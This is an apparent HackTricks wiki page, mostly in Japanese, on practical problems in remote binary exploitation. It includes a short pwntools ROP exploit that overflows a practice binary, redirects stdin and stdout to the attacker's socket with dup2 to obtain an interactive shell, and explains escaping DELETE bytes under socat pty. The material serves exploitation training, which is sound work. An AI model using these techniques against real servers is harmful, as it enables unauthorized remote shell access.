hacktricks/binary-exploitation/common-exploiting-problems.md

4 KiB
Raw Blame History

Common Exploiting Problems

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

FDs in Remote Exploitation

リモートサーバーに**system('/bin/sh')**を呼び出すエクスプロイトを送信すると、これはサーバープロセスで実行され、/bin/shはstdinFD: 0からの入力を期待し、stdoutおよびstderrFDs 1および 2)に出力を印刷します。したがって、攻撃者はシェルと対話することができません。

これを修正する方法は、サーバーが起動したときにFD番号 3(リスニング用)を作成し、その後、あなたの接続が**FD番号 4**になると仮定することです。したがって、syscall **dup2**を使用してstdinFD 0とstdoutFD 1をFD 4攻撃者の接続のものに複製することが可能であり、これによりシェルが実行されたときに連絡を取ることが可能になります。

Exploit example from here:

from pwn import *

elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)

rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()

p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()

Socat & pty

socatはすでに**stdinstdoutをソケットに転送します。ただし、ptyモードはDELETE文字含みます**。したがって、\x7fDELETE -)を送信すると、あなたのエクスプロイトの前の文字を削除します

これを回避するために、エスケープ文字\x16を送信する任意の\x7fの前に追加する必要があります。

ここでこの動作の例を 見つけることができます

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}